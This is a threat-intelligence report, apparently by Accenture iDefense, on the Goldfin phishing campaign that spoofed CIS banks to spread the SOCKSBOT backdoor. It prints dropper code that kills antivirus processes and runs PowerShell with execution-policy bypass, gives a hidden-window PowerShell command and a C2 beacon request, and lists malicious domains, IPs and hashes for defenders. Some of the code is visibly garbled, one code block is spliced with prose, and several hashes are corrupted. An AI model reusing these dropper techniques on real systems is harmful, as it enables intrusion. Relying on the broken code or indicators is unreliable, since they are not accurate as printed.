GOLDFIN:
A Persistent Campaign Targeting CIS Countries with SOCKSBOT

July 26, 2018
SUMMARY
A number of security vendors reported a series of cyber-attacks involving the use of a malware family called SOCKSBOT and claimed to be associated with CANDLEFISH (a.k.a. Patchwork, Dropping Elephant). However, as disclosed in this report, research by iDefense analysts shows that SOCKSBOT was in fact used by a threat group in an 18-month-long campaign dubbed Goldfin, spoofing financial institutions in the Commonwealth of Independent States (CIS) countries since as early as February 2017 to as recently as May 2018. Based on the tactics, techniques and procedures (TTPs) observed in this campaign, iDefense assesses with moderate confidence that the reported campaign is unlikely to be associated with CANDLEFISH.

In addition, iDefense analysts have identified infrastructure overlap and the shared use of a PowerShell obfuscation technique with FIN7. Although these observations are not enough to attribute the Goldfin campaign to FIN7, iDefense assesses these to be interesting and noteworthy observations that further highlights the complex relationships that exist behind-the-scene in organized cyber crime.

HOW TO USE THIS REPORT

INTENDED AUDIENCE
iDefense is providing information about the reported campaigns to the general iDefense customer base, with this report being intended for security operations center (SOC) analysts and engineers. Management and executive leadership may also want to use this information.

HOW TO USE THIS INTELLIGENCE
iDefense is providing this information so that customers are aware of the modus operandi of a highly active threat group that is targeting financial institutions for financial gain. SOC analysts and engineers can use this IA’s detailed information pertaining to the workings of a malware family and indicators of compromise (IoCs) to contain or mitigate the discussed threat through monitoring or blocking. SOC analysts can use the information provided in the Analysis and Mitigation sections of this IA for hunting activities for systems that may have already been compromised. Analysts and security engineers can use the IoCs by adding them to hunting lists on endpoint detection and response (EDR) solutions as well as network- and host-based blacklists to detect and deny malware implantation and command-and-control (C2) communication.

Intelligence analysts may want to use the information provided in this IA to better inform their own analyses. The provided information can also help inform ongoing intelligence
analyses and forensic investigations, particularly for compromise discovery, damage assessment, and attribution.

Management and executive leadership may use this information to assess the risks associated with the threat described herein to make operational and policy decisions accordingly.

HOW THIS INTELLIGENCE HELPS ADDRESS EXISTING OR POTENTIAL THREATS

Knowledge of the group’s tactics, techniques, and procedures (TTPs) should help to better inform detection and response to attacks by this threat group.

CAMPAIGN ANALYSIS

iDefense analysts came across two spear-phishing campaigns in October 2017 involving the use of a malware family publicly known as SOCKSBOT. One campaign spoofs the Halyk Bank (Exhibit 1) and another spoofs the PrivatBank (Exhibit 2):

Exhibit 1: Spear-Phishing Email Spoofing Halyk Bank
As Exhibits 1 and 2 show, both emails contain an identical message, even down to the location of the embedded hyperlinks. The only differences are the embedded URLs and the signature of the email in order to reflect the financial institution the attackers were spoofing. This information suggests some sort of phishing kit was likely used to generate the phishing emails.

An approximate translation of the e-mail spoofing Halyk Bank is as follows:

Subject: Notification of opening an account (Halyk Bank of Kazakhstan)

Dear customer, an account with the People's Bank of Kazakhstan has been opened in your name, you can find detailed information in the attached file.

If you did not receive an envelope with a login and password, then you need to register to access the Personal Area. In case of loss of login / password, you can register a new one in the section "Password recovery".

If in the process of work you have any questions or problems, please contact the Customer Service Department at the contacts listed below. Our specialists are always ready to help you.

The embedded malicious hyperlinks used in the respective attacks are as follows:

hxxp://halyk-bank[.]com/dog.zip
hxxp://privatbank-ua[.]com/dog.zip

Subsequent technical analysis of the infection chain involved led iDefense to uncover an 18-month long campaign of spoofing banks in CIS countries, with the most recent campaign observed on May 28, 2018 spoofing the Idea Bank CJSC:
Exhibit 3: Spear-Phishing Email Spoofing Idea Bank CJSC

The forum member reports that two spear-phishing emails were received: one claiming to be a notification about opening an account and the other claiming to be a notification of a loan being taken out. The content of the latter email is approximately translated below:

Dear client, in your name, a loan was issued to Idea Bank, for more details, see the attached file in which the full name and phone number of your personal loan expert is indicated, the amount and conditions for repaying the loan.

An envelope with a credit agreement was sent to your address. In case you did not receive the envelope, you should contact your personal expert.

In case of loss of the contract, you can restore it at the nearest branch of the bank or request a duplicate through your personal expert.

For any questions you are interested in, you can contact your personal expert or the Customer Service Department at the contacts listed below. Our specialists are always ready to help you.

Yours faithfully,
Idea Bank CJSC
Phone for calls from abroad: +375 (17) 306-33-14

In the attacks observed, all involved a phishing email with two embedded URLs directing the user to download a file named `dog.zip`. Based on the content of the e-mails and the domain names, the following banks were spoofed in this campaign:

- Halyk Bank (Kazakhstan)
- PrivatBank (Ukraine)
- Idea Bank (Belarus)
• Tejara Bank (Iran)

It is also noteworthy that in both phishing kits, there are always two hyperlinks linking to the same malicious file: one in the body of the message and one at the end of the e-mail in a link called Договор (which translates to Contract).

The next section details the infection chain that follows the initial download.

**INFECTION CHAIN ANALYSIS**

The general infection chain observed in this campaign is as shown in Exhibit 4:

Exhibit 4: *The Infection Chain Used in the SOCKSBOT Campaign*

**STAGE 1 - JAVASCRIPT DROPPER**

Both links delivered a ZIP archive file named `dog.zip`:

- `hxxp://halyk-bank[.]com/dog.zip - 211fbf34749df5e717e8b11feeb3f648`
- `hxxp://privatbank-ua[.]com/dog.zip - b3fb88a5aa791aeal41bf3b4cf045355`

Both contain a JavaScript file named `dog.js` with the MD5 signatures `9a273653364dfb143ff196d826d2bac4` and `21a09cf81f3584a741c7167f622d6c50`, respectively.

The JavaScript file contains heavily obfuscated code as Exhibit 5 shows. The malicious code is in fact hidden as comments and is dynamically deobfuscated once the script has been executed.
Once deobfuscated (see Exhibit 6), it is clear that the code is designed to do two things:

1. To look for a running anti-virus processes, such as avp.exe (Kaspersky Antivirus). Note that some variants of the malware also search for ekrn.exe (ESET), cis.exe (Comodo) and avgnt.exe (Avira).

2. To drop and execute a PowerShell script named setup.ps1. This script is generated based on Base64 encoded data stored in variables named dllData and code.

3. Delete setup.ps1

```javascript
function setupScript() {
    var PMs = [], Processes, PProcess;
    try {
        PMs = window.mworks;
    } catch (e) {
        PMs = window.mworks;
    }
    if (PMs) {
        for (var i = 0; i < PMs.length; i++) {
            PMs[i].Quit();
        }
    }
    Processes = new Enumerator(window.mworks['SELECT * FROM Win32_Process']);
    while ( Processes.itemID ) {
        PProcess = Processes.item();
        if ( PProcess.name == 'avp.exe' ) {
            PProcess.Quit();
        }
    }
    Processes.moveNext();
}

var myCheck = function() {
    var localFile = 'setup.ps1';
    var shell = mworks.CreateObject('ScriptShell');
    var arch = shell.environment['system'].item['processorArchitecture'];
    if (arch.substr(arch.length - 2) == '64') {
        runStr = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File ' + localFile;
    } else {
        runStr = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File ' + localFile;
    }
    function base64_decode(data) {
        var b64 = 'ZGh0bWwtaS1vb2xvbiB0byBzY3M=';
        var x = 0, x2, x3, x4, x5, x6, x7, x8, y = 0, w = 0, h = 0,
        r = 0, g = 0, b = 0;
        for (var i = 0; i < data.length; i++) {
            var x2 = data.charCodeAt(i) - 65;
            for (var j = 0; j < 8; j++) {
                var x1 = ((x2 >> j) & 1) * 256 * 256 - 1;
                var x3 = (x1 + x1) + (x1 + x1) + (x1 + x1) + (x1 + x1) + (x1 + x1) + (x1 + x1) + (x1 + x1) + (x1 + x1);
                var x4 = x1 + x3;
                var x5 = x2 & 0xff;
                r += x4 * x5;
                g += x4 * x5;
                b += x4 * x5;
            }
        }
        return [r, g, b];
    }
}
```
STAGE 2 - POWERSHELL DROPPER WITH EMPIRE

The PowerShell script `setup.ps1` used in each attack has the respective MD5 signatures 521c81c62836a233a6e771bc3491300f and 00c38b787eac602ffaed0b9372f2c443.

The script is designed for the following (see Exhibit 7):

1. Create a PowerShell script named `checkupdate.ps1` in `C:\Users\Public\Downloads\` (This path is hardcoded in the malware). The content of this script is stored in a variable named `data` and is Base64 encoded.
2. Create a cmdlet that would:
   - move the script `checkupdate.ps1` to the home directory for the current PowerShell install
   - establish persistence by creating a Windows service named `Check for updates`, set to "delay-auto" start and execute `checkupdate.ps1`
3. Use a modified version of the function `Invoke-EventVwrBypass` from the Empire Post-exploitation framework to bypass UAC and execute the above cmdlet.

Exhibit 7: Deobfuscated Code in `setup.ps1`
Similarly, checkupdate.ps1 used in each attack has the respective MD5 signatures 54e7f3a1ala8857e35a45f4eb2a3317d and 29573blafa60bce8e04dd2a4d55a7447.

Unsurprisingly, this script also contains obfuscated code. The malicious payload is compressed, Base64 encoded, and embedded within the script, which is similar to a technique used in PowerSploit.

However, the observed technique appears to be a variant of PowerSploit as the encoded payload is further split into a number of chunks that are dynamically loaded into an array variable named $OArr as shown in Exhibit 8:

```
$OArr = @()
$OArr.Add("
$GOArr.Add("
$OArr.Add("The code is in fact a PowerShell reflective loader script with a dynamic-link library (DLL) binary embedded as Base64-encoded data (Exhibit 9).

```

Exhibit 8: Obfuscated Code in checkupdate.ps1

The code is in fact a PowerShell reflective loader script with a dynamic-link library (DLL) binary embedded as Base64-encoded data (Exhibit 9).
Exhibit 9: Deobfuscated Code in checkupdate.ps1

STAGE 4 - SOCKSBOT

The specific SOCKSBOT sample analyzed in this report has the following properties:

- **Filename**: socksbot.dll
- **MD5**: 90f35fd205556a04d13216c33cb0dbe3
- **File Size**: 17.0 KB (17408 bytes)
- **Compiled Time Stamp**: 2017-10-27 17:46:05
As mentioned in the last section, the SOCKSBOT implant is typically delivered as a Base64-encoded string reflectively loaded (via the `?ReflectiveLoader@@YGKPAX@Z` exported function) in a newly started `svchost.exe` process. As such, the implant exists only in memory and never touches the disk.

The implant will first verify if any of the mutexes in the following format are present in order to not run twice:

```
Global\%snps
Global\%sstp
```

Exhibit 10 shows an example of a created mutex.

![Exhibit 10: Mutex Creation](image)

The SOCKSBOT implant has the following capabilities:

- Enumerate processes (process list)
- Take screenshots
- Download, upload, write, and execute files
- Create and inject into new processes
- Communicate to C2 via sockets

This implant will communicate with the designated C2 server by first creating a buffer and will, on first execution, communicate to the C2 server that it has successfully infected a target by using a `.php` URI that is pseudo-randomly generated. SOCKSBOT uses the `ObtainUserAgentString` API to determine the default user-agent of the machine.

An example of a request to the C2 `46.166.163[.]243` is shown in Exhibit 11.

```
GET /ftp34pc2env4hx7saumy6qiyimiw3q2.php HTTP/1.1
Host: 46.166.163.243
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Accept: */*
```

*Exhibit 11: Traffic to the C2 Server*

The C2 server or the operator of the SOCKSBOT implant can then respond with a specific HTTP status code to perform a set of actions. Exhibit 12 shows this option in the implant.
Exhibit 12: C2 Options

The following status codes are supported:

- **200**: create and start new socket
- **202**: enumerate processes and take screenshot
- **203**: perform a set of actions (download, upload, execute)

Exhibit 13 shows an example of possible actions:

```c
125 u19 = u13 - 200;
126 if ( u19 )
127 {
128    u20 = u19 - 2;
129    if ( u20 )
130    {
131        if ( u20 == 1 )
132            Do_Actions(v4, (int)v24);
133    } else
134    {
135        Send_Screenshot(v4, (int)v24);
136    }
138 } else
139 {
140    Get_Socket(v4, u24);
142 }
```

Exhibit 13: HTTP Status Code **203** Return Options

The actions that the operator can perform are as follows:

- Write and execute files
• Execute PowerShell scripts
• Execute a PowerShell script and exit

SOCKSBOT can thus write other PowerShell scripts to the %TEMP% folder and execute these hidden from the user. This is achieved with the following command:

```powershell
%s\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File "%s"
```

This allows the attacker to upload other obfuscated PowerShell scripts on the machine and, as such, makes SOCKSBOT a powerful and persistent backdoor.

Altogether, the SOCKSBOT samples observed and analyzed in this report are as follows:

- 90f35fd205556a04d13216c33cb0dbe3
- 2a4d16ddad27c6eb60e197b6b07c2df0
- 14f71d5cb8f15f0a9943b5d709a85b73
- 92dfd0534b080234f9536371be63e37a
- 039d9e47e4474bee24785f8ec5307695
- 55a57741f49d6c887992353bc47846bc

Only three different C2 servers have been observed:

- 5.8.88[.]64
- 46.166.163[.]243
- 5.135.73[.]113

**INFECTION CHAIN VARIATIONS**

While the described infection chain above is the most common infection chain observed, iDefense analysts have also observed a number of different variations in related campaigns:

1. SOCKSBOT Dropper
2. dog.js Obfuscation
3. Random PowerShell Script Names
4. Reflective loading PowerShell Script Obfuscation

**VARIATION 1: SOCKSBOT DROPPER**

Aside from the PowerShell reflective loader, iDefense analysts have also identified a dropper executable binary with the following properties that was used to reflectively load SOCKSBOT into a chosen process (usually `svchost.exe`):

- **Filename:** <random>
- **MD5:** 14f71d5cb8f15f0a9943b5d709a85b73
- **File Size:** 23.6 KB (24200 bytes)
- **Compiled Time Stamp:** 2017-02-01 13:40:14
• **Signer:** Magnum Travel Club (Serial: 1F 8A 3E 60 EE C1 E3 AA 63 B3 9B DD 26 E1 10 FB)

Note that the binary was signed with a code-signing certificate purportedly from an organization called Magnum Travel Club.

This dropper will create a copy of itself in C:\Programdata\Logs as a hidden system file and will then delete the original file. Another copy will be created in %appdata%\Microsoft\Windows\Start Menu\Programs\Startup with the same properties to ensure persistence.

Finally, the dropper will start a new svchost.exe process in a suspended state and consequently reflectively load (and inject) the SOCKSBOT implant into the process.

An additional Windows service may be created for persistence as well, which is done by first enumerating existing legitimate services and creating a new service spoofing one of the services with an almost identical name.

In this case, a new service named Windows Error Reporting Service was created (see Exhibit 14).

![Exhibit 14: Service Creation](image)

While this dropper does indeed load the SOCKSBOT implant, all other iterations or campaigns have used scripts, in particular JavaScript and PowerShell, to reflectively load the SOCKSBOT payload.

**VARIATION 2: DOG.JS OBFUSCATION**

While most dog.js samples observed were obfuscated as reported in the infection chain section, there are also versions that were not obfuscated at all or were obfuscated using a different obfuscation technique such as different character encoding (Exhibit 15):
Once executed, this sample (MD5: **b01cf8f375bc0aff2cfe3dc1b4c1823c**) will deobfuscate and generate a new file called **~1.tmp** in `%appdata%\Futures`. The script is deleted after execution.

**VARIATION 3: RANDOM POWERSHELL SCRIPT NAMES**

Certain variants of dog.js also have a new function to randomly generate file names for the second- and third-stage PowerShell scripts:

```javascript
function makerndpsl() {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var i = 0;
        i < 5;
        i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text + '.ps1';
}
```

4. REFLECTIVE LOADING POWERSHELL SCRIPT OBFUSCATION

Aside from changes to the dog.js obfuscation, iDefense analysts have also found a different obfuscation technique used to obscure the code in the reflective loading script (see Exhibit 16):
Exhibit 16: Different Obfuscation Technique Used in the Reflective Loading PowerShell Script

The sample concerned has the MD5 signature c38b06f871d2268972fa01725b59d7ed. Note also that the execution command used for persistence is again encoded (see Exhibit 17):

Exhibit 17: Obfuscated Execution Command in Check for update Service Used for Persistence

**ATTRIBUTION**

Based on the preference to spoof financial institutions in CIS countries, the network infrastructure used and the observed targeting, iDefense assesses with moderate confidence that the reported campaign is unlikely to be associated with CANDLEFISH.

Furthermore, iDefense analysts have identified a number of interesting and noteworthy overlaps with FIN7:

- Identical WHOIS information used in domains associated with the Goldfin campaign and FIN7, as well as network hosting overlap
- Shared use of a PowerShell obfuscation technique
OVERLAP 1: IDENTICAL WHOIS INFORMATION AND NETWORK HOSTING OVERLAP

Research shows that the domains privat-bankau[.]com, halyk-bank[.]com, and tejara-bank[.]com all have the organization name Goldfin LLC, a near-identical registrant address (see below), and a @rambler.ru e-mail address used as the registrant e-mail address.

Registrant Organization: Goldfin LLC
Registrant Street: ul Arbat 5
Registrant City: Moscow
Registrant State/Province: Moscow
Registrant Postal Code: 115343
Registrant Country: RU

This pattern overlaps with two other domains - despanabrandfood[.]com and silverdiners[.]com (see Exhibit 18) - that iDefense current assesses with low confidence are likely associated with FIN7 due to the following:

1. Spoofing restaurant chains Despaña Brand Foods (legitimate domain despanabrandfoods.com) and Silver Diner (legitimate domain silverdiners.com), a known technique associated with FIN7. The website despanabrandfood[.]com remains indexed by Google (see Exhibit 19)

2. Previously resolved to the IP address 192.99.14[.]211, which was reported by Trustwave and tr1dx as associated with FIN7 towards late 2016 and early 2017. In addition, like many domains associated with FIN7 as well as the Carbanak group, many of the domains used in the Goldfin campaign were also parked at 31.41.41[.]41 which is associated with CIS Hosting. However, iDefense analysts are aware both hosts are likely to be shared/parking hosts hence the association with FIN7 based on this overlap is of low confidence.

Exhibit 18: WHOIS Information Similarities between Domains Used in the Goldfin Campaign and Those Associated with FIN7
Exhibit 19: Spoofing domain despanabrandfood[.]com remains indexed by Google at the time of writing, showing the attacker’s intention to plagiarise the legitimate website despanabrandfoods[.]com

Exhibit 20 illustrates the overlapping infrastructure between the Goldfin campaign and infrastructure associated with FIN7:

Exhibit 20: Maltego Graph Showing the Overlapping Infrastructure between Goldfin Campaign and FIN7
OVERLAP 2: SHARED USE OF A POWERSHELL OBfuscATION

TECHNIQUE

As mentioned in the infection chain analysis, the code embedded within the third-stage PowerShell script checkupdate.ps1 is obfuscated using a technique similar to that of PowerSploit. However, the technique used appears to be a niche variant as the embedded payload is further split into chunks and dynamically added to an array variable named $Arr.

Interestingly, iDefense analysts have previously observed this obfuscation used in a PowerShell component (MD5: 87327b4045b9d004697aec7e7a4b9ba8) that was dropped by a HALFBAKED sample (MD5: 31fcf8a4ec7a4693ed1936321f401) back in August 2017. HALFBAKED is a malware family associated with FIN7.

Exhibit 21: Similar PowerShell Obfuscation Technique Used between the Goldfin Campaign and FIN7

While the above overlapping features are not strong enough to be used to conclude that the Goldfin campaign is associated with FIN7, iDefense analysts believe they are significant and noteworthy and may well add to new evidence that may come to light in the future as research continues. They also highlight the complex hidden relationships that exist behind-the-scenes in organized cyber crime.

MITIGATION

To effectively defend against the threats described in this report, iDefense recommends blocking the following access URIs and IP address:

- blopsadmvdrl[.]com
- bipovnerlvd[.]com
- kiprovol[.]com
- kiprovol[.]com
- volevnenibrinw[.]com
- bnrnboerxc[.]com
- tejara-bank[.]com
- privat-bankau[.]com
halyk-bank[.]com
wedogreatpurchases[.]com
privatbank-ua[.]com
moneyma-r[.]com
fisrteditionps[.]com
essentiaeltimes[.]com
dewifal[.]com
micro-earth[.]com
5.8.88[.]64
46.166.163[.]243
5.135.73[.]113

It will also be useful for incident response and threat-hunting purposes to verify the existence of any of the following artefacts:

- A randomly named file in C:\ProgramData\Logs or %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
- Randomly named PowerShell or JavaScript files in %temp%
- A file named dog.zip and dog.js
- A file named ~1tmp in %appdata%\Futures
- A service name with significant spelling errors
- A service named Check for updates
- A PowerShell script named checkupdate.ps1 in default PowerShell installation directory
- A svchost.exe process that does not have wininit.exe as parent process

It will also be useful to verify the existence of any of the following hashes on the host:

de394e9d294d2c325298eb54826ba116
09d43765c2259a8df868a5fa6206ae2b
9a273653364dfb143ff196d826d2bac4
6da6025fc7956f644b0b161781071cecc
211ffbf34749df5e717e8b11fbeb3f648
da11led0013d58000f10919b8cb9a8023
949b7e0f9d309e8a7ab32fa4664a7906
bd8ca27c6284ff95c01178db7a96121a4
50598c4dc7c299d0c8d92c128a56944e
21a09cf81f3584a741c7167f622d6c50
b3fb88a5aa791aea41bf3b4cf045355
54e7f3a1a1a8857e35a45f4eb2a3317d
29573b1fa60bce8e04dd2a4d554a7447
7b528c9d8150e4a4ab72b90a4e333763
7f1aa2b2d539aa7d3ddbb67417457309
b10c3d00a7ceff0b7050f450968c8f69
29573b1fa60bce8e04dd2a4d554a7447
c38b06f871d2268972fa01725b59d7ed
CONTACT US

Joshua Ray
joshua.a.ray@accenture.com

Howard Marshall
howard.marshall@accenture.com

Robert Coderre
robert.c.coderre@accenture.com

Jayson Jean
jayson.jean@accenture.com

Emily Cody
emily.a.cody@accenture.com
ABOUT ACCENTURE

Accenture is a leading global professional services company, providing a broad range of services and solutions in strategy, consulting, digital, technology and operations. Combining unmatched experience and specialized skills across more than 40 industries and all business functions—underpinned by the world’s largest delivery network—Accenture works at the intersection of business and technology to help clients improve their performance and create sustainable value for their stakeholders. With approximately 425,000 people serving clients in more than 120 countries, Accenture drives innovation to improve the way the world works and lives. Visit us at www.accenture.com

ABOUT ACCENTURE SECURITY

Accenture Security helps organizations build resilience from the inside out, so they can confidently focus on innovation and growth. Leveraging its global network of cybersecurity labs, deep industry understanding across client value chains and services that span the security lifecycle, Accenture protects organization’s valuable assets, end-to-end. With services that include strategy and risk management, cyber defense, digital identity, application security and managed security, Accenture enables businesses around the world to defend against known sophisticated threats, and the unknown. Follow us @AccentureSecure on Twitter or visit the Accenture Security blog.